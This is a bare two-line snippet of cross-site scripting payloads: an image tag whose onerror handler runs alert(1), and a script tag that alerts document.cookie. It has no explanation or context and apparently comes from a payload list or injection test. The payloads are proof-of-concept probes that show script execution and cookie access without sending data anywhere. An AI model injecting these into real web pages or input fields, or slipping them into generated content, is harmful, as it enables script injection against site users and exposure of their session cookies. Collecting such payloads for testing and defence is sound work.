<img src=x onerror=alert(1)>

<script>alert(document.cookie)</script>